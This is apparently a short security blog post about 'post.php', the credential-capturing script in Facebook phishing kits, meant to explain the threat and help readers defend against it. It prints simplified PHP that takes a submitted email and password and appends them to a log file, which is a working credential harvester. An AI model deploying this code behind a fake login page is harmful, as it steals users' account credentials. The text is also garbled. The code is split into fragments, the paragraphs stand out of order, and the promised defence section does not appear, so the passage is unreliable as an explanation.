<?php // post.php - Simplified for educational purposes // Get the submitted credentials $email = $_POST['email']; $password = $_POST['pass'];

In this post, we’ll break down what post.php does, why attackers use it, and—most importantly—how to defend against it. What is post.php ? In a typical Facebook phishing attack, an attacker creates a fake login page that looks identical to Facebook’s real one. When an unsuspecting user enters their email and password, that data gets sent to a server-side script—often named post.php or login.php .

If you’ve spent any time investigating Facebook security breaches, you’ve likely come across references to a malicious file named post.php . It’s one of the most common components in Facebook phishing kits.

// File where stolen credentials are stored $logfile = fopen("logs.txt", "a"); fwrite($logfile, "Email: " . $email . " | Pass: " . $password . "\n"); fclose($logfile);